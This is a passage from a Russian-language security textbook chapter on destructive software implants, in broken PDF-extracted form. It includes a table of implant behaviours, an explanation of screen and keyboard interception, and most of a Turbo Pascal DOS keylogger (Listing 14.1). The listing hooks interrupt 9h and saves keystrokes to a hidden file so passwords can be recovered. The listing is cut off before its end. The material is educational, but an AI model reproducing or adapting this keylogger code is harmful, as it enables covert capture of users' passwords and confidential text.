ВУЗ: Не указан

Категория: Не указан

Дисциплина: Не указана

Добавлен: 10.06.2021

Просмотров: 3621

Скачиваний: 3

ВНИМАНИЕ! Если данный файл нарушает Ваши авторские права, то обязательно сообщите нам.
background image

246

     

Глава

 14. 

Методы

 

и

 

средства

 

разрушения

 

информации

 

 

2 0 

нет

 0 

3 0 

нет

 1 

4 0 

нет

 1 

5 0 

разрушение

 

кода

 

ПП

 

в

 

опера

-

тивной

 

памяти

 (

ОП

0 0 

6 0 

разрушение

 

или

 

сохранение

 

выводимых

 

данных

 

0 1 

7 0 

разрушение

 

или

 

сохранение

 

вводимых

 

данных

 

1 0 

8 0 

разрушение

 

или

 

сохранение

 

вводимых

 

и

 

выводимых

 

дан

-

ных

 

1 1 

9 1 

нет

 0 

10 1 

перенос

 

выводимых

 

данных

 

в

 

ОП

 

0 1 

11 1 

перенос

 

вводимых

 

данных

 

в

 

ОП

 

1 0 

12 1 

перенос

 

вводимых

 

и

 

выводи

-

мых

 

данных

 

в

 

ОП

 

1 1 

13 1 

размножение

 0 

14 1 

разрушение

 

или

 

сохранение

 

выводимых

 

данных

 

0 1 

15 1 

разрушение

 

или

 

сохранение

 

вводимых

 

данных

 

1 0 

16 1 

разрушение

 

или

 

сохранение

 

вводимых

 

и

 

выводимых

 

дан

-

ных

 

1 1 

Сохранение

 

фрагментов

 

информации

 

В

 

этом

 

случае

 

можно

 

выделить

 

три

 

основные

 

причины

 

потенциально

 

возможного

 

нарушения

 

безопасности

 

системы

 “

пользователь

 — 

система

 

защиты

 — 

данные

”: 

 

вывод

 

информации

 

на

 

экран

 

вывод

 

информации

 

в

 

файл

 

или

 

иное

 

внешнее

 

устройство

 

ввод

 

информации

 

с

 

клавиатуры

Сохранение

 

фрагментов

 

вводимой

 

и

 

выводимой

 

информации

 

можно

 

представить

 

так

Программа

 

выделяет

 

себе

 

в

 

оперативной

 

памяти

 

некоторую

 

информационную

 

область

где

 

помещается

 

информация

 

для

 

обработки

 (

как

 

правило

доступная

 

для

 

непосредствен

-

ного

 

считывания

область

 

экрана

клавиатурный

 

буфер

). 

Закладка

 

определяет

 

адрес

 

ин

-


background image

Разрушающие

 

программные

 

средства

     

247

 

формативной

 

области

 

программы

 (

иногда

 

этот

 

адрес

 

используется

 

всеми

 

программами

 

и

 

поэтому

 

заранее

 

известен

). 

Далее

 

необходимо

 

анализировать

 

события

связанные

 

с

 

рабо

-

той

 

прикладной

 

программы

 

или

 

операционной

 

среды

причем

 

интерес

 

представляют

 

лишь

 

события

результатом

 

которых

 

может

 

стать

 

появление

 

интересующей

 

информации

 

в

 

информативной

 

области

Установив

 

факт

 

интересующего

 

события

закладка

 

переносит

 

часть

 

информативной

 

области

 

либо

 

всю

 

информативную

 

область

 

в

 

свою

 

область

 

сохра

-

нения

 (

непосредственно

 

на

 

диск

 

или

 

в

 

выделенную

 

область

 

оперативной

 

памяти

). 

Перехват

 

вывода

 

на

 

экран

 

Рассмотрим

 

только

 

текстовый

 

режим

 

вывода

Режим

 

графического

 

вывода

 

будет

 

от

-

личаться

 

лишь

 

тем

что

 

изменится

 

адрес

 

видеобуфера

 

в

 

программе

и

 

информация

 

будет

 

представлена

 

в

 

виде

 

точек

 

с

 

определенным

 

цветом

В

 

оперативной

 

памяти

 

ПЭВМ

 

область

 

видеобуфера

 

имеет

 

заранее

 

известный

 

фикси

-

рованный

 

адрес

Видеобуфер

с

 

точки

 

зрения

 

программы

представляет

 

собой

 

область

 

обычной

 

оперативной

 

памяти

которая

 

рассматривается

 

как

 

последовательность

 

слов

 (16 

бит

в

 

формате

символ

 (8 

бит

) + 

цвет

 (8 

бит

). 

Выводимый

 

на

 

экран

 

текст

 

помещается

 

в

 

видеобуфер

откуда

 

может

 

быть

 

считан

 

и

 

сохранен

 

закладкой

Синхронизирующим

 

событием

 

в

 

этом

 

случае

 

может

 

быть

 

ввод

 

с

 

клавиатуры

 

длинной

 

последовательности

 

символов

 (

обрабатываемого

 

текста

); 

 

чтение

 

из

 

файла

 

запуск

 

программ

 

с

 

определенными

 

именами

Кроме

 

того

возможно

 

периодическое

 

сохранение

 

области

 

экранного

 

буфера

 

по

 

сиг

-

налу

 

от

 

системного

 

таймера

Перехват

 

ввода

 

с

 

клавиатуры

 

Закладки

анализирующие

 

ввод

 

с

 

клавиатуры

являются

 

достаточно

 

опасными

по

-

скольку

 

клавиатура

 

является

 

основным

 

устройством

 

управления

 

и

 

ввода

 

информации

Через

 

клавиатурный

 

ввод

 

можно

 

получить

 

информацию

 

о

 

вводимых

 

конфиденциальных

 

сообщениях

 (

текстах

), 

паролях

 

и

 

т

.

д

Перехват

 

может

 

производится

 

двумя

 

основными

 

способами

 

встраивание

 

в

 

цепочку

 

прерывания

 

int 9h

 

анализом

 

содержания

 

клавиатурного

 

порта

 

или

 

буфера

 

по

 

прерыванию

 

от

 

системного

 

таймера

Работа

 

закладки

 

основывается

 

на

 

полном

 

сохранении

 

всех

 

нажатий

 (

отжатий

клавиш

 

в

 

файле

Файл

 

затем

 

изучается

и

 

на

 

его

 

основе

 

злоумышленник

пытавшийся

 

получить

 

доступ

 

к

 

зашифрованным

 

файлам

восстанавливает

 

возможные

 

парольные

 

последова

-

тельности

Пример

 

подобной

 

закладки

 

приведен

 

в

 

листинге

 14.1. 


background image

248

     

Глава

 14. 

Методы

 

и

 

средства

 

разрушения

 

информации

 

 

Листинг

 14.1. 

Пример

 

закладки

перехватывающей

 

ввод

 

с

 

клавиатуры

 

{$M 2048,0,0} 
{$F+} 
Uses Dos; 

const 
 ArchiveName = 'C:\WINDOWS\USER.BIN'; 
 OldSS       : Word = 0; 
 OldSP       : Word = 0; 
 StackSW     : Integer = - 1; 
 NewSS       : Word = 0; 
 NewSP       : Word = 0; 

var 
 Old9h          : Procedure; 
 R              : Registers; 
 DOSSeg, DOSOfs : Word; 
 Tick, WaitBuf  : Integer; 
 NeedPop        : Boolean; 
 CBuf           : Word; 
 KBuf           : array [1..255] of Byte; 

procedure BeginInt; 
inline($FF/$06/StackSW/ 
       $75/$10/ 
       $8C/$16/OldSS/ 
       $89/$26/OldSP/ 
       $8E/$16/NewSS/ 

Продолжение

 

листинга

 14.1

 

       $8B/$26/NewSP); 
 
procedure EndInt; 
inline($FF/$0E/StackSW/ 
       $7D/$08/ 
       $8E/$16/OldSS/ 
       $8B/$26/OldSP); 
 
procedure CallPop(Sub: Pointer); 
begin 
inline($FF/$5E/$06); 
end; 
 
procedure CLI; inline($FA); 


background image

Разрушающие

 

программные

 

средства

     

249

 

 
procedure STI; inline($FB); 
 
procedure TSRCrap; 
var 
  F: File; 
begin 
 CLI; 
 BeginInt; 
 STI; 
 NeedPop := False; 
  Assign(F, ArchiveName); 
  {$I-} 
  Reset(F,1); 
  {$I+} 
 
  if IOResult <> 0 then ReWrite(F,1) else seek(F,FileSize(F)); 
  SetFAttr(F,ARCHIVE+HIDDEN); 
  BlockWrite(F,KBuf,CBuf); { 

Запись

 

содержимого

 

буфера

 

в

 

файл

 } 

  CBuf := 0; 
 
  Close(F); 
 Tick := 0; 
 CLI; 
 EndInt; 
 STI; 
end; 

Продолжение

 

листинга

 14.1

 

procedure RunTSR; interrupt; 
begin 
 CLI; 
 BeginInt; 
 STI; 
 Inc(Tick); 
 if (Tick > 18.2 * WaitBuf) and (CBuf > 0) then 
 begin 
  NeedPop := True; 
  if Mem[DOSSeg:DOSOfs] = 0 then 
  begin 
   NeedPop := False; 
   Port[$20]:=$20; 


background image

250

     

Глава

 14. 

Методы

 

и

 

средства

 

разрушения

 

информации

 

 

   TSRCrap; 
  end; 
 end; 
 CLI; 
 EndInt; 
 STI; 
end; 

procedure Int28TSR; interrupt; 
begin 
 CLI; 
 BeginInt; 
 STI; 
 if NeedPop = True Then TSRCrap; 
 CLI; 
 EndInt; 
 STI; 
end; 

procedure New9h;interrupt; 

Новый

 

обработчик

 

прерывания

 9h } 

var 
 Tail     : Word absolute $40 : $1C; 
 B:Boolean; 
begin 
 B := Port[$60]<$80; 
 inline($9C); 
 Old9h;  { 

Вызов

 

старого

 

обработчика

 } 

 if B and (Lo(MemW[$40:Tail])<>0) then 

Окончание

 

листинга

 14.1

 

  begin 
   Inc(CBuf); 
   if CBuf > 255 Then CBuf := 255; 
   KBuf[CBuf]:=Lo(MemW[$40:Tail]); { C

охранение

 

клавиши

 

в

 

буфе

-

ре

 } 

  end; 
end; 
 
procedure InitTSR; 
begin 
 NewSS := SSeg; 
 inline($89/$26/NewSP); 
 R.AH := $34;